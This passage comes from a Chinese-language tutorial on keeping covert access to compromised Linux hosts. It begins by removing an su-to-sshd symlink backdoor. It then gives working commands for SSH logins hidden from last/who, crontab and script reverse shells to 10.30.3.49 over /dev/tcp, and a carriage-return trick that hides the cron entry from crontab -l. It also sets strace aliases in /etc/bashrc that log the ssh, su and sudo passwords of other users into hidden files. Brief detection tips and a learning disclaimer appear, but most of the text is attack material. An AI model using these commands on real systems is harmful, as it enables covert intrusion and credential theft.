第二步:确定软链接后门文件
查看所有的su
文件,以及查找具体哪一个su
是软链接后门
cd ~ cd .. find . -name su
使用ll
命令来确定哪一个是后门:
[root@linux-centos /]# ll ./etc/selinux/targeted/active/modules/100/su 总用量 20 -rw-r--r--. 1 root root 1837 9月 13 2017 cil -rw-r--r--. 1 root root 9171 9月 13 2017 hll -rw-r--r--. 1 root root 2 9月 13 2017 lang_ext [root@linux-centos /]# ll ./tmp/su lrwxrwxrwx. 1 root root 14 12月 6 16:44 ./tmp/su -> /usr/sbin/sshd [root@linux-centos /]# ll ./usr/share/locale/su 总用量 0 drwxr-xr-x. 2 root root 6 11月 5 2016 LC_MESSAGES [root@linux-centos /]# ll ./usr/share/bash-completion/completions/su -rw-r--r--. 1 root root 864 8月 4 2017 ./usr/share/bash-completion/completions/su [root@linux-centos /]#
最后发现./tmp/su
文件是软连接的后门。
第三步:删除软链接后门
一定要记得kill
的是两个进程:
rm -rf /tmp/su kill -9 17650 kill -9 17638
此时连接退出:
此时再也无法连接:
注意事项
切记:不要用 rm -rf /tmp/su/
,如果后面多一个斜杠,就会把文件删除!
一定要删除两个进程,如果只删除了正在登录的进程是无效的
2.3 隐身登录(有条件)
如果在已知用户密码的情况下,可以使用这种方法进行登录,如果是自己建立的账号登录的话,一样会被发现。
# 不被last\who\w等指令检测 ssh -T username@x.x.x.x /bin/bash -i # 不记录ssh公钥在本地.ssh目录中 ssh -o UserKnownHostFile=/dev/null -T user@x.x.x.x /bin/bash -if
如果已知密码的情况下可以使用这个方法登录,比如使用攻击机去登录靶机:
ssh -T bolean@10.50.0.16 /bin/bash -i
但是使用端口检查的话,还是可以看到的:
netstat -anpt
2.4 crontab定时任务
基本上普通crontab
一眼就能看出来,基本就是送死的:
crontab -l
如果想进行计划任务的话,可以使用计划任务进行反弹。
2.4.1 bash命令进行反弹
/bin/bash -c 'exec bash -i &>/dev/tcp/10.30.3.49/888 <&1'
但是这个命令如果用到任务计划里面就是:
* * * * * /bin/bash -c 'exec bash -i &>/dev/tcp/10.30.3.49/8688 <&1'
将命令放入到任务计划里面去,然后很快就会回弹一个shell
回来:
在这里使用crontab -l
了的命令是能看到此时的任务计划的,此时已经收到了shell
:
2.4.2 文件反弹
先建立一个sh
文件,并对该文件赋予可执行权限:
bash
脚本:hello.sh
,将文件放在/tmp
目录下面:
#!/bin/bash bash -i >& /dev/tcp/10.30.3.49/12345 0>&1 #!/bin/bash bash -i >& /dev/tcp/12x.xxx.xx3.xx3/12345 0>&1
至于留后门的方法可以使用下面的语句,参考:
https://cloud.tencent.com/developer/article/1683265
(crontab -l;printf "*/1 * * * * /tmp/hello.sh;\rno crontab for `whoami`%100c\n")|crontab -
在这里试下:(用了公网的机器)
不久之后,会话就弹回来了:
此时使用crontab -l
是看不到当前有新的计划任务的:
但是crontab -e
是可以看到的:
但是这个通讯依旧可以看到:
2.5 strace后门-偷其他ssh的密码
参考文档:
https://zhuanlan.zhihu.com/p/355743801
可以通过alias
命令来执行特定的命令时静默运行其他程序,从而达到启动后门,记录键值等作用。
这里主要是记录该用户的键盘操作,并无法记录登录靶机的ssh
密码信息。
2.5.1 记录ssh的操作。
通过命令替换动态跟踪系统调用和数据,可以用来记录用户ssh
、su
、sudo
的操作。
cp /etc/bashrc /etc/.bashrc.bak # 将文件备份 vim /etc/bashrc # 编辑文件 alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh' b source ~/.bashrc
此时利用该账号再去登录其他账号的时候,发生报错:
此时发生报错,所以在使用该命令的时候一定要注意下是否有strace
命令。
当前环境是centos
,所以在这里需要自行安装strace
:
yum install strace
此时再利用该机器进行登录操作:
登录成功,再看下是否有log
文件进行记录:
文件已经存在,但是其中的信息过多,需要进行过滤:
grep -A 9 'password' .ssh.log
将其中的信息进行拼接即为密码信息。
2.5.2 排查技巧
利用alias
进行排查:
2.5.3 利用总结
如果需要记录sudo
操作、ssh
等操作,而且生成的日志可能会出现覆盖的情况,因此对于这种问题,我们对方法进行一个总结:
# 1. 文件备份: cp /etc/bashrc /etc/.bashrc # 2. 编辑bashrc文件 vim /etc/bashrc # 3. 记录本机登录其他机器的ssh信息,在bashrc的末尾/其中,加上下面的句子,会将文件放到/usr/bin/目录下,文件结尾为log alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 2048 ssh' # 4. 记录sudo命令 alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 2048 sudo' # 5. 记录su命令 alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 2048 su' # source下.bashrc文件 source /root/.bashrc
注意文件不要放在其他的高权限文件夹下,否则生成文件的时候会提示权限不足:
在这里先删除以前的记录,将以上记录插入:
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 2048 ssh' alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 2048 sudo' alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 2048 su'
然后再source
一下:
在靶机上登录其他的机器,执行su
、sudo
命令试试:
此时去找下文件:
使用命令来看下文件,登录的ssh
:
grep -A 9 'password' .ssh-0712月121670384140.log
su
的命令:
cat .su-0712月121670384157.log | grep write
在这里sudo
命令有问题,好像不太好用。
2.4.4 利用总结
主要是偷在机器上管理员的一些操作,有时候能够偷到管理员密码信息 1. 查看是否strace命令,如果没有的话,安装: centos:yum install strace -y Ubuntu:apt install strace -y 2. 文件备份: cp /etc/bashrc /etc/.bashrc 3. 编辑bashrc文件 vim /etc/bashrc 或者是vi /etc/bashrc # 3. 记录本机登录其他机器的ssh信息,在bashrc的末尾/其中,加上下面的句子,会将文件放到/usr/bin/目录下,文件结尾为log alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 2048 ssh' # 4. 记录sudo命令(根据场景,一般如果是都只有root用户的话,这个命令不建议用,自己测试centos发生报错) alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 2048 sudo' # 5. 记录su命令(根据场景,一般如果是都只有root用户的话,这个命令不建议用) alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 2048 su'
2.6 窃取运维的密码
参考:https://zhuanlan.zhihu.com/p/146024506这个在实战中,成功过。
3.总结
本文仅对linux
的权限维持做了非常微小的学习,文章所有的操作都是网上已有的技术,仅供参考,如有错误,欢迎指正。
4.参考资料
其中还有一部分参考的文章链接在文中。
https://www.v4ler1an.com/2020/12/backdoor/ https://zhuanlan.kanxue.com/article-16246.htm https://cloud.tencent.com/developer/article/1683265